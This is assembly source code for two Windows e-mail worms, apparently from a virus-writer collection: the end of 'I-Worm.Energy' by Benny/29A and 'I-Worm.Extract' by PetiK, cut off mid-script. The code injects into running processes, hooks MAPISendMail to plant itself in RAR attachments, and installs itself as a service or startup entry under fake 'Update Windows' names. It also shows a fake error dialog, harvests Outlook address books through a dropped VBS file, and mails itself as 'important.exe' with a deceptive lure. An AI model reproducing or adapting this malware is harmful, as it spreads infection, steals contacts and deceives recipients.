|
||||
mov eax,'ex'
|
||||
stosd ;construct path+filename
|
||||
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
call CopyFileA ;copy worm to sys. dir.
|
||||
|
||||
call SVCCreate ;register as a service
|
||||
|
||||
push api_num
|
||||
pop ecx
|
||||
call @api_table
|
||||
dd offset GetModuleHandleA ;adressez of APIz
|
||||
dd offset GetProcAddress
|
||||
dd offset VirtualProtect
|
||||
dd offset CreateFileA
|
||||
dd offset CloseHandle
|
||||
dd offset WriteFile
|
||||
dd offset GetFileSize
|
||||
dd offset ReadFile
|
||||
dd offset VirtualFree
|
||||
dd offset VirtualAlloc
|
||||
dd offset SetFilePointer
|
||||
dd offset SetFileAttributesA
|
||||
api_num = 12
|
||||
@api_table:
|
||||
pop ebx
|
||||
|
||||
call @api_dest ;addressez of variablez
|
||||
dd offset _gmha ;that will hold APIz
|
||||
dd offset _gpa
|
||||
dd offset _vp
|
||||
dd offset _cfa
|
||||
dd offset _ch
|
||||
dd offset _wf
|
||||
dd offset _gfs
|
||||
dd offset _rf
|
||||
dd offset _vf
|
||||
dd offset _va
|
||||
dd offset _sfp
|
||||
dd offset _sfaa
|
||||
@api_dest:
|
||||
pop esi
|
||||
|
||||
get_apiz:
|
||||
dec ecx ;decrement counter
|
||||
mov eax,[ebx+ecx*4]
|
||||
mov eax,[eax+2]
|
||||
mov eax,[eax]
|
||||
mov edx,[esi+ecx*4]
|
||||
mov [edx],eax ;store API address
|
||||
test ecx,ecx
|
||||
jne get_apiz
|
||||
|
||||
worm_loop:
|
||||
mov ebx,offset tmp
|
||||
push ebx
|
||||
push PROC_COUNT
|
||||
mov esi,offset proc_dump
|
||||
push esi
|
||||
call EnumProcesses ;enum all processez
|
||||
dec eax
|
||||
jne end_seh
|
||||
|
||||
mov ecx,[ebx] ;try this PID
|
||||
p_check:lodsd
|
||||
call proc_infect ;try to infect it
|
||||
add ecx,-3
|
||||
loop p_check ;try next PID
|
||||
|
||||
worm_wait:
|
||||
push 60000
|
||||
call Sleep ;wait one minute
|
||||
jmp worm_loop ;and try again.
|
||||
|
||||
|
||||
;infect processez
|
||||
proc_infect Proc
|
||||
pushad
|
||||
push eax
|
||||
push 0
|
||||
push 2 or 8 or 10h or 20h or 400h
|
||||
call OpenProcess ;get handle to process
|
||||
xchg eax,ecx
|
||||
jecxz end_proc_infect
|
||||
mov ebx,ecx
|
||||
|
||||
push PAGE_READWRITE
|
||||
push MEM_RESERVE or MEM_COMMIT
|
||||
push virtual_end-Start
|
||||
push 0
|
||||
push ebx
|
||||
call VirtualAllocEx ;allocate there memory
|
||||
xchg eax,ecx ;for worm
|
||||
jecxz end_proc_infect2
|
||||
mov esi,ecx
|
||||
|
||||
push 0
|
||||
push virtual_end-Start
|
||||
push offset Start
|
||||
push esi
|
||||
push ebx
|
||||
call WriteProcessMemory ;copy there worm body
|
||||
dec eax
|
||||
jne end_proc_infect3
|
||||
|
||||
lea edx,[esi+offset ThreadEntry-offset Start]
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
call CreateRemoteThread ;create thread there
|
||||
xchg eax,ecx
|
||||
jecxz end_proc_infect3
|
||||
push ecx
|
||||
|
||||
push -1
|
||||
push ecx
|
||||
call WaitForSingleObject ;wait for its termination
|
||||
call CloseHandle ;and close its handle
|
||||
jmp end_proc_infect2 ;and quit
|
||||
|
||||
end_proc_infect3:
|
||||
push MEM_RELEASE
|
||||
push 0
|
||||
push esi
|
||||
push ebx
|
||||
call VirtualFreeEx ;release memory if failed
|
||||
|
||||
end_proc_infect2:
|
||||
push ebx
|
||||
call CloseHandle ;close handle to process
|
||||
end_proc_infect:
|
||||
popad
|
||||
ret ;and quit
|
||||
proc_infect EndP
|
||||
|
||||
|
||||
;remote thread procedure
|
||||
ThreadEntry Proc
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
call gdelta
|
||||
gdelta: pop ebp ;get delta offset
|
||||
|
||||
@pushsz 'MAPI32.dll'
|
||||
mov eax,12345678h
|
||||
_gmha = dword ptr $-4
|
||||
call eax ;get address of MAPI32.dll
|
||||
xchg eax,ecx
|
||||
jecxz end_seh ;quit if not loaded
|
||||
|
||||
@pushsz 'MAPISendMail'
|
||||
push ecx
|
||||
mov eax,12345678h
|
||||
_gpa = dword ptr $-4
|
||||
call eax ;get address of
|
||||
xchg eax,ecx ;MAPISendMail API
|
||||
jecxz end_seh
|
||||
mov esi,ecx ;to ESI
|
||||
|
||||
lea eax,[ebp + tmp - gdelta]
|
||||
push eax
|
||||
push PAGE_READWRITE
|
||||
push 5
|
||||
push esi
|
||||
mov eax,12345678h
|
||||
_vp = dword ptr $-4
|
||||
call eax ;release page protection
|
||||
xchg eax,ecx
|
||||
jecxz end_seh
|
||||
|
||||
call hook_api ;hook the API
|
||||
|
||||
end_seh:@SEH_RemoveFrame ;remove SEH frame
|
||||
popad ;and quit
|
||||
ret
|
||||
|
||||
;proc for API hooking
|
||||
hook_api:
|
||||
mov [ebp + old_MAPI_addr - gdelta],esi
|
||||
push esi
|
||||
lea edi,[ebp + old_MAPI_api - gdelta]
|
||||
movsd
|
||||
movsb ;save first bytez of API
|
||||
pop edi
|
||||
mov ebx,edi
|
||||
|
||||
lea eax,[ebp + MAPI_hooker - gdelta]
|
||||
sub ebx,eax
|
||||
neg ebx
|
||||
add ebx,-5
|
||||
mov al,0E9h
|
||||
stosb
|
||||
xchg eax,ebx
|
||||
stosd ;overwrite by JMP <worm_api>
|
||||
ret
|
||||
|
||||
;the API hooker
|
||||
MAPI_hooker:
|
||||
push 12345678h
|
||||
old_MAPI_addr = dword ptr $-4 ;save the address of API
|
||||
|
||||
pushad
|
||||
mov edi,[esp.cPushad] ;get ptr to message
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
push edi
|
||||
|
||||
mov ebx,[esp.cPushad.28]
|
||||
mov ecx,[ebx+40] ;number of attachmentz
|
||||
mov ebx,[ebx+44] ;ptr to file fieldz
|
||||
|
||||
f_parse:mov esi,[ebx+12]
|
||||
lea edi,[ebp + arc_buffer - gdelta]
|
||||
push edi
|
||||
@copysz
|
||||
dec edi
|
||||
cmp byte ptr [edi-1],'\'
|
||||
je over_slash
|
||||
mov al,'\'
|
||||
stosb
|
||||
over_slash:
|
||||
mov esi,[ebx+16]
|
||||
@copysz
|
||||
or [esi-5],20202020h ;lower case
|
||||
cmp [esi-5],'rar.'
|
||||
pop esi ;create path+filename
|
||||
jne o_r ;quit if not RAR file
|
||||
call infect_archive ;try to infect this file
|
||||
o_r: sub ebx,-24
|
||||
loop f_parse ;try another file in msg
|
||||
|
||||
pop edi
|
||||
call @m_res
|
||||
old_MAPI_api db 5 dup (90h)
|
||||
@m_res: pop esi
|
||||
movsd
|
||||
movsb ;remove the API hooker
|
||||
jmp end_seh ;and quit
|
||||
|
||||
|
||||
;procedure for RAR archive infecting
|
||||
infect_archive:
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
call gd
|
||||
gd: pop ebp ;get delta offset
|
||||
|
||||
lea eax,[ebp + worm_name - gd] ;get worm filename
|
||||
push 0
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push GENERIC_READ
|
||||
push eax
|
||||
call [ebp + _cfa - gd] ;open worm file
|
||||
inc eax
|
||||
je end_seh
|
||||
dec eax
|
||||
mov [ebp + hFile - gd],eax ;save handle
|
||||
|
||||
push 0
|
||||
push eax
|
||||
mov eax,12345678h
|
||||
_gfs = dword ptr $-4
|
||||
call eax ;get its size
|
||||
push eax
|
||||
|
||||
push PAGE_READWRITE
|
||||
push MEM_RESERVE or MEM_COMMIT
|
||||
push eax
|
||||
push 0
|
||||
mov eax,12345678h
|
||||
_va = dword ptr $-4
|
||||
call eax ;allocate enough memory
|
||||
test eax,eax
|
||||
pop edx
|
||||
je end_file
|
||||
xchg eax,ebx
|
||||
|
||||
push edx
|
||||
push 0
|
||||
lea eax,[ebp + tmp - gd]
|
||||
push eax
|
||||
push edx
|
||||
push ebx
|
||||
push dword ptr [ebp + hFile - gd]
|
||||
mov eax,12345678h
|
||||
_rf = dword ptr $-4 ;and copy there worm
|
||||
call eax
|
||||
call close_file ;close handle to file
|
||||
pop edi
|
||||
|
||||
pushad
|
||||
mov esi,ebx
|
||||
call CRC32 ;calculate CRC32 of
|
||||
mov [ebp + RARCRC32 - gd],eax ;the worm file
|
||||
popad
|
||||
|
||||
push 0
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push GENERIC_READ or GENERIC_WRITE
|
||||
push esi
|
||||
mov eax,12345678h
|
||||
_cfa = dword ptr $-4
|
||||
call eax ;open the archive
|
||||
inc eax
|
||||
je end_file2
|
||||
dec eax
|
||||
mov [ebp + hFile - gd],eax ;save its handle
|
||||
|
||||
push 2
|
||||
push 0
|
||||
push 0
|
||||
push eax
|
||||
mov eax,12345678h
|
||||
_sfp = dword ptr $-4
|
||||
call eax ;go to EOF
|
||||
|
||||
pushad
|
||||
lea esi,[ebp + RARHeaderCRC+2 - gd]
|
||||
push end_RAR-RARHeader-2
|
||||
pop edi
|
||||
call CRC32 ;calculate CRC32 of
|
||||
mov [ebp + RARHeaderCRC - gd],ax ;the RAR file header
|
||||
popad ;and save it
|
||||
|
||||
push 0
|
||||
lea eax,[ebp + tmp - gd]
|
||||
push eax
|
||||
push end_RAR-RARHeader
|
||||
call end_RAR
|
||||
RARHeader: ;No comment ;)
|
||||
RARHeaderCRC dw 0
|
||||
RARType db 74h
|
||||
RARFlags dw 8000h
|
||||
RARHSize dw end_RAR-RARHeader
|
||||
RARCompressed dd 2000h
|
||||
RAROriginal dd 2000h
|
||||
RAROS db 0
|
||||
RARCRC32 dd 0
|
||||
RARFileDateTime dd 12345678h
|
||||
RARNeedVer db 14h
|
||||
RARMethod db 30h
|
||||
RARFNameSize dw end_RAR-RARName
|
||||
RARAttrib dd 0
|
||||
RARName db 'SETUP.EXE'
|
||||
end_RAR:
|
||||
push dword ptr [ebp + hFile - gd]
|
||||
mov eax,12345678h
|
||||
_wf = dword ptr $-4
|
||||
call eax ;write RAR file header
|
||||
|
||||
push 0
|
||||
lea eax,[ebp + tmp - gd]
|
||||
push eax
|
||||
push edi
|
||||
push ebx
|
||||
push dword ptr [ebp + hFile - gd]
|
||||
call [ebp + _wf - gd] ;write the worm
|
||||
|
||||
end_file2:
|
||||
push MEM_RELEASE
|
||||
push 0
|
||||
push ebx
|
||||
mov eax,12345678h
|
||||
_vf = dword ptr $-4
|
||||
call eax ;release the memory
|
||||
end_file:
|
||||
call close_file ;close the archive
|
||||
|
||||
push FILE_ATTRIBUTE_READONLY
|
||||
push esi
|
||||
mov eax,12345678h
|
||||
_sfaa = dword ptr $-4
|
||||
call eax ;set READ-ONLY attribute
|
||||
jmp end_seh ;and quit
|
||||
|
||||
close_file:
|
||||
push 12345678h ;handle...
|
||||
hFile = dword ptr $-4
|
||||
mov eax,12345678h
|
||||
_ch = dword ptr $-4
|
||||
call eax ;close file handle
|
||||
ret
|
||||
|
||||
CRC32 Proc
|
||||
push ecx ;procedure for
|
||||
push edx ;calculating CRC32s
|
||||
push ebx ;at run-time
|
||||
xor ecx,ecx
|
||||
dec ecx
|
||||
mov edx,ecx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi
|
||||
jne NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
pop ebx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
pop edx
|
||||
pop ecx
|
||||
SVCHandler:
|
||||
ret
|
||||
CRC32 EndP
|
||||
ThreadEntry EndP
|
||||
|
||||
|
||||
;log on to SCM
|
||||
SVCRegister Proc
|
||||
call _dt
|
||||
dd offset e_name+5
|
||||
dd offset service_start
|
||||
dd 0
|
||||
dd 0
|
||||
_dt: call StartServiceCtrlDispatcherA ;start service dispatcher
|
||||
dec eax
|
||||
jne e_svc ;quit if error (no service
|
||||
;requestz)
|
||||
push 0
|
||||
call ExitThread ;terminate this thread
|
||||
|
||||
service_start: ;execution goes here...
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
|
||||
push offset SVCHandler
|
||||
push offset e_name+5
|
||||
call RegisterServiceCtrlHandlerA ;register service control
|
||||
test eax,eax ;handler
|
||||
je e_svc ;quit if error
|
||||
push eax
|
||||
|
||||
call _ss
|
||||
ss_: dd 10h or 20h
|
||||
dd 4
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
_ss: push eax
|
||||
call SetServiceStatus ;set service status
|
||||
call CloseServiceHandle ;close service handle
|
||||
jmp e_svc ;and quit
|
||||
SVCRegister EndP
|
||||
|
||||
|
||||
;create item at SCM
|
||||
SVCCreate Proc
|
||||
push 000F0000h or 2
|
||||
push 0
|
||||
push 0
|
||||
call OpenSCManagerA ;get handle to SCM
|
||||
test eax,eax
|
||||
je e_scm0
|
||||
xchg eax,esi
|
||||
|
||||
; push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
|
||||
; push offset e_name+5
|
||||
; push esi
|
||||
; call OpenServiceA ;*** debug!
|
||||
;
|
||||
; push eax
|
||||
; push eax
|
||||
; call DeleteService ;*** debug!
|
||||
; call CloseServiceHandle ;*** debug!
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push offset sys_dir
|
||||
push eax
|
||||
push 2
|
||||
push 10h
|
||||
push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
|
||||
push offset e_name+5
|
||||
push dword ptr [esp]
|
||||
push esi
|
||||
call CreateServiceA ;create service item
|
||||
test eax,eax ;at SCM
|
||||
je e_scm1 ;quit if error
|
||||
|
||||
push eax
|
||||
call CloseServiceHandle ;close service handlez
|
||||
e_scm1: push esi
|
||||
call CloseServiceHandle ;...
|
||||
e_scm0: ret ;and quit
|
||||
SVCCreate EndP
|
||||
|
||||
|
||||
signature db 0,'[I-Worm.Energy] by Benny/29A',0
|
||||
;signature
|
||||
proc_dump db PROC_COUNT dup (?) ;buffer for PIDz
|
||||
worm_name db 256 dup (?) ;buffer for filename
|
||||
tmp dd ? ;temporary variable
|
||||
sys_dir db 256 dup (?) ;buffer for system dir.
|
||||
arc_buffer db 256 dup (?) ;buffer for archive
|
||||
;filename
|
||||
virtual_end: ;...end of virus.
|
||||
ends
|
||||
end Start ;.
|
||||
|
||||
|
||||
;bonus:
|
||||
;here are lyrics from "Imagine", one very nice song from John Lennon.
|
||||
|
||||
; Imagine there's no heaven,
|
||||
; It's easy if you try,
|
||||
; No hell below us,
|
||||
; Above us only sky,
|
||||
; Imagine all the people
|
||||
; living for today...
|
||||
;
|
||||
; Imagine there's no countries,
|
||||
; It isn't hard to do,
|
||||
; Nothing to kill or die for,
|
||||
; No religion too,
|
||||
; Imagine all the people
|
||||
; living life in peace...
|
||||
;
|
||||
; You may say I'm a dreamer,
|
||||
; but I'm not the only one,
|
||||
; I hope some day you'll join us,
|
||||
; And the world will live as one.
|
||||
;
|
||||
; Imagine no possesions,
|
||||
; I wonder if you can,
|
||||
; No need for greed or hunger,
|
||||
; A brotherhood of man,
|
||||
; Imagine all the people
|
||||
; Sharing all the world...
|
||||
;
|
||||
; You may say I'm a dreamer,
|
||||
; but I'm not the only one,
|
||||
; I hope some day you'll join us,
|
||||
; And the world will live as one.
|
||||
@@ -0,0 +1,480 @@
|
||||
comment #
|
||||
Name : I-Worm.Extract
|
||||
Author : PetiK
|
||||
Date : February 3rd 2002 - February 4th 2002
|
||||
Size : 5632
|
||||
|
||||
Action :
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
api macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include Useful.inc
|
||||
include myinclude.inc
|
||||
|
||||
start_worm:
|
||||
@pushsz "KERNEL32.DLL"
|
||||
api GetModuleHandleA
|
||||
xchg eax,ebx
|
||||
|
||||
kern macro x
|
||||
push offset sz&x
|
||||
push ebx
|
||||
api GetProcAddress
|
||||
mov _ptk&x,eax
|
||||
endm
|
||||
|
||||
kern CloseHandle
|
||||
kern CopyFileA
|
||||
kern CreateDirectoryA
|
||||
kern CreateFileA
|
||||
kern CreateFileMappingA
|
||||
kern DeleteFileA
|
||||
kern GetDateFormatA
|
||||
kern GetFileSize
|
||||
kern GetModuleFileNameA
|
||||
kern GetSystemDirectoryA
|
||||
kern GetSystemTime
|
||||
kern GetTimeFormatA
|
||||
kern GetWindowsDirectoryA
|
||||
kern lstrcat
|
||||
kern lstrcmp
|
||||
kern lstrcpy
|
||||
kern lstrlen
|
||||
kern MapViewOfFile
|
||||
kern SetCurrentDirectoryA
|
||||
kern Sleep
|
||||
kern UnmapViewOfFile
|
||||
kern WinExec
|
||||
kern WriteFile
|
||||
kern WriteProfileStringA
|
||||
kern WritePrivateProfileStringA
|
||||
|
||||
|
||||
push 50
|
||||
mov esi,offset orig_worm
|
||||
push esi
|
||||
push 0
|
||||
call _ptkGetModuleFileNameA
|
||||
|
||||
push 50
|
||||
push offset verif_worm
|
||||
call _ptkGetSystemDirectoryA
|
||||
@pushsz "\UPDATEW32.EXE"
|
||||
push offset verif_worm
|
||||
call _ptklstrcat
|
||||
|
||||
push esi
|
||||
push offset verif_worm
|
||||
call _ptklstrcmp
|
||||
test eax,eax
|
||||
jz continue_worm
|
||||
|
||||
mov edi,offset copy_worm
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
call _ptkGetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"dpU\"
|
||||
stosd
|
||||
mov eax,"Weta"
|
||||
stosd
|
||||
mov eax,"e.23"
|
||||
stosd
|
||||
mov eax,"ex"
|
||||
stosd
|
||||
pop edi
|
||||
|
||||
copy_w: push 0
|
||||
push edi
|
||||
push esi
|
||||
call _ptkCopyFileA
|
||||
|
||||
run_w: push edi
|
||||
@pushsz "RUN"
|
||||
@pushsz "WINDOWS"
|
||||
call _ptkWriteProfileStringA
|
||||
|
||||
call CreateDate
|
||||
push 50
|
||||
push offset realname
|
||||
push offset orig_worm
|
||||
api GetFileTitleA
|
||||
|
||||
@pushsz " - "
|
||||
push offset date
|
||||
call _ptklstrcat
|
||||
push offset realname
|
||||
push offset date
|
||||
call _ptklstrcat
|
||||
|
||||
f_mess: push 10h
|
||||
push offset date
|
||||
call @mess
|
||||
db "Cannot Open this File !",CRLF,CRLF
|
||||
db "If you downloaded this file, try downloading again.",0
|
||||
@mess:
|
||||
push 0
|
||||
api MessageBoxA
|
||||
jmp end_worm
|
||||
|
||||
continue_worm:
|
||||
push 50
|
||||
push offset vbsfile
|
||||
call _ptkGetWindowsDirectoryA
|
||||
@pushsz "\ExtractVbs.vbs"
|
||||
push offset vbsfile
|
||||
call _ptklstrcat
|
||||
|
||||
push 0
|
||||
push 20h
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push offset vbsfile
|
||||
call _ptkCreateFileA
|
||||
xchg eax,ebx
|
||||
push 0
|
||||
push offset octets
|
||||
push e_vbs - s_vbs
|
||||
push offset s_vbs
|
||||
push ebx
|
||||
call _ptkWriteFile
|
||||
push ebx
|
||||
call _ptkCloseHandle
|
||||
|
||||
push offset vbsfile
|
||||
push offset vbsexec
|
||||
call _ptklstrcpy
|
||||
push 4
|
||||
push offset execcontrol
|
||||
call _ptkWinExec
|
||||
push 5000
|
||||
call _ptkSleep
|
||||
push offset vbsfile
|
||||
call _ptkDeleteFileA
|
||||
|
||||
payload:
|
||||
push offset Systime
|
||||
call _ptkGetSystemTime
|
||||
cmp [Systime.wDay],29
|
||||
jne end_pay
|
||||
push 40h
|
||||
@pushsz "I-Worm.Extract"
|
||||
call e_mess
|
||||
db "Hi man, you received my worm !",CRLF
|
||||
db "Don't panic, it doesn't format your computer",CRLF,CRLF
|
||||
db 9,"Bye and Have a Nice Day.",0
|
||||
e_mess:
|
||||
push 0
|
||||
api MessageBoxA
|
||||
end_pay:
|
||||
|
||||
sh_gsf: push 0
|
||||
push 5
|
||||
push offset progra
|
||||
push 0
|
||||
api SHGetSpecialFolderPathA
|
||||
push offset progra
|
||||
call _ptkSetCurrentDirectoryA
|
||||
@pushsz "Update Windows 32bits"
|
||||
call _ptkCreateDirectoryA
|
||||
@pushsz "\Update Windows 32bits"
|
||||
push offset progra
|
||||
call _ptklstrcat
|
||||
push offset progra
|
||||
call _ptkSetCurrentDirectoryA
|
||||
push 0
|
||||
@pushsz "MAJ.exe"
|
||||
push offset orig_worm
|
||||
call _ptkCopyFileA
|
||||
|
||||
verif_inet:
|
||||
push 0
|
||||
push offset inet
|
||||
api InternetGetConnectedState
|
||||
dec eax
|
||||
jnz verif_inet
|
||||
|
||||
push 50
|
||||
push offset winpath
|
||||
call _ptkGetWindowsDirectoryA
|
||||
push offset winpath
|
||||
call _ptkSetCurrentDirectoryA
|
||||
|
||||
spread: pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
@pushsz "Outlook_Addr.txt"
|
||||
call _ptkCreateFileA
|
||||
inc eax
|
||||
je end_spread
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 2
|
||||
push eax
|
||||
push ebx
|
||||
call _ptkCreateFileMappingA
|
||||
test eax,eax
|
||||
je end_s1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 4
|
||||
push ebp
|
||||
call _ptkMapViewOfFile
|
||||
test eax,eax
|
||||
je end_s2
|
||||
xchg eax,esi
|
||||
|
||||
push 0
|
||||
push ebx
|
||||
call _ptkGetFileSize
|
||||
cmp eax,4
|
||||
jbe end_s3
|
||||
|
||||
scan_mail:
|
||||
xor edx,edx
|
||||
mov edi,offset mail_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,";"
|
||||
je end_m
|
||||
cmp al,"#"
|
||||
je f_mail
|
||||
cmp al,'@'
|
||||
jne not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
end_m: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je scan_mail
|
||||
call send_mail
|
||||
jmp scan_mail
|
||||
f_mail:
|
||||
|
||||
end_s3: push esi
|
||||
call _ptkUnmapViewOfFile
|
||||
end_s2: push ebp
|
||||
call _ptkCloseHandle
|
||||
end_s1: push ebx
|
||||
call _ptkCloseHandle
|
||||
end_spread: popad
|
||||
|
||||
end_worm:
|
||||
push 0
|
||||
api ExitProcess
|
||||
|
||||
send_mail:
|
||||
call CreateDate
|
||||
call CreateTime
|
||||
@pushsz "C:\liste.ini"
|
||||
push offset mail_addr
|
||||
push offset time
|
||||
push offset date
|
||||
call _ptkWritePrivateProfileStringA
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push eax
|
||||
push [sess]
|
||||
api MAPISendMail
|
||||
ret
|
||||
|
||||
CreateDate Proc
|
||||
pushad
|
||||
mov edi,offset date
|
||||
push 32
|
||||
push edi
|
||||
@pushsz "dddd, dd MMMM yyyy"
|
||||
push 0
|
||||
push 0
|
||||
push 9
|
||||
call _ptkGetDateFormatA
|
||||
popad
|
||||
ret
|
||||
CreateDate EndP
|
||||
CreateTime Proc
|
||||
pushad
|
||||
mov edi,offset time
|
||||
push 32
|
||||
push edi
|
||||
@pushsz "HH:mm:ss"
|
||||
push 0
|
||||
push 0
|
||||
push 9
|
||||
call _ptkGetTimeFormatA
|
||||
popad
|
||||
ret
|
||||
CreateTime EndP
|
||||
|
||||
|
||||
.data
|
||||
copy_worm db 50 dup (0)
|
||||
orig_worm db 50 dup (0)
|
||||
verif_worm db 50 dup (0)
|
||||
vbsfile db 50 dup (0)
|
||||
winpath db 50 dup (0)
|
||||
progra db 50 dup (0)
|
||||
mail_addr db 128 dup (?)
|
||||
realname db 50 dup (0)
|
||||
date db 30 dup (?)
|
||||
time db 9 dup (?)
|
||||
octets dd ?
|
||||
inet dd 0
|
||||
sess dd 0
|
||||
|
||||
subject db "Re: Check This...",0
|
||||
body db "Hi",CRLF
|
||||
db "This is the file you ask for. Open quickly ! It's very important",CRLF,CRLF
|
||||
db 9,"Best Regards",CRLF,CRLF,CRLF
|
||||
db "Salut,",CRLF
|
||||
db "Voici le fichier que tu cherches. Ouvre vite ! C'est trčs important",CRLF,CRLF
|
||||
db 9,"Mes sincčres salutations",0
|
||||
filename db "important.exe",0
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset mail_addr
|
||||
dd offset mail_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset orig_worm
|
||||
dd offset filename
|
||||
dd ?
|
||||
|
||||
szCloseHandle db "CloseHandle",0
|
||||
szCopyFileA db "CopyFileA",0
|
||||
szCreateDirectoryA db "CreateDirectoryA",0
|
||||
szCreateFileA db "CreateFileA",0
|
||||
szCreateFileMappingA db "CreateFileMappingA",0
|
||||
szDeleteFileA db "DeleteFileA",0
|
||||
szGetDateFormatA db "GetDateFormatA",0
|
||||
szGetFileSize db "GetFileSize",0
|
||||
szGetModuleFileNameA db "GetModuleFileNameA",0
|
||||
szGetSystemDirectoryA db "GetSystemDirectoryA",0
|
||||
szGetSystemTime db "GetSystemTime",0
|
||||
szGetTimeFormatA db "GetTimeFormatA",0
|
||||
szGetWindowsDirectoryA db "GetWindowsDirectoryA",0
|
||||
szlstrcat db "lstrcat",0
|
||||
szlstrcmp db "lstrcmp",0
|
||||
szlstrcpy db "lstrcpy",0
|
||||
szlstrlen db "lstrlen",0
|
||||
szMapViewOfFile db "MapViewOfFile",0
|
||||
szSetCurrentDirectoryA db "SetCurrentDirectoryA",0
|
||||
szSleep db "Sleep",0
|
||||
szUnmapViewOfFile db "UnmapViewOfFile",0
|
||||
szWinExec db "WinExec",0
|
||||
szWriteFile db "WriteFile",0
|
||||
szWritePrivateProfileStringA db "WritePrivateProfileStringA",0
|
||||
szWriteProfileStringA db "WriteProfileStringA",0
|
||||
|
||||
_ptkCloseHandle dd ?
|
||||
_ptkCopyFileA dd ?
|
||||
_ptkCreateDirectoryA dd ?
|
||||
_ptkCreateFileA dd ?
|
||||
_ptkCreateFileMappingA dd ?
|
||||
_ptkDeleteFileA dd ?
|
||||
_ptkGetDateFormatA dd ?
|
||||
_ptkGetFileSize dd ?
|
||||
_ptkGetModuleFileNameA dd ?
|
||||
_ptkGetSystemDirectoryA dd ?
|
||||
_ptkGetSystemTime dd ?
|
||||
_ptkGetTimeFormatA dd ?
|
||||
_ptkGetWindowsDirectoryA dd ?
|
||||
_ptklstrcat dd ?
|
||||
_ptklstrcmp dd ?
|
||||
_ptklstrcpy dd ?
|
||||
_ptklstrlen dd ?
|
||||
_ptkMapViewOfFile dd ?
|
||||
_ptkSetCurrentDirectoryA dd ?
|
||||
_ptkSleep dd ?
|
||||
_ptkUnmapViewOfFile dd ?
|
||||
_ptkWinExec dd ?
|
||||
_ptkWriteFile dd ?
|
||||
_ptkWriteProfileStringA dd ?
|
||||
_ptkWritePrivateProfileStringA dd ?
|
||||
|
||||
s_vbs: db 'On Error Resume Next',CRLF
|
||||
db 'Set f=CreateObject("Scripting.FileSystemObject")',CRLF
|
||||
db 'Set win=f.GetSpecialFolder(0)',CRLF
|
||||
db 'Set c=f.CreateTextFile(win&"\Outlook_Addr.txt")',CRLF
|
||||
db 'c.Close',CRLF
|
||||
db 'Set out=CreateObject("Outlook.Application")',CRLF
|
||||
db 'Set mapi=out.GetNameSpace("MAPI")',CRLF
|
||||
db 'adr="extractcounter@multimania.com"',CRLF
|
||||
db 'For Each mail in mapi.AddressLists',CRLF
|
||||
db 'If mail.AddressEntries.Count <> 0 Then',CRLF
|
||||
db 'For O=1 To mail.AddressEntries.Count',CRLF
|
||||
db 'adr=adr &";"& mail.AddressEntries(O).Address',CRLF
|
||||
db 'Next',CRLF
|
||||
db 'End If',CRLF
|
||||
db 'Next',CRLF
|
||||
db 'adr=adr &";#"',CRLF,CRLF
|
||||
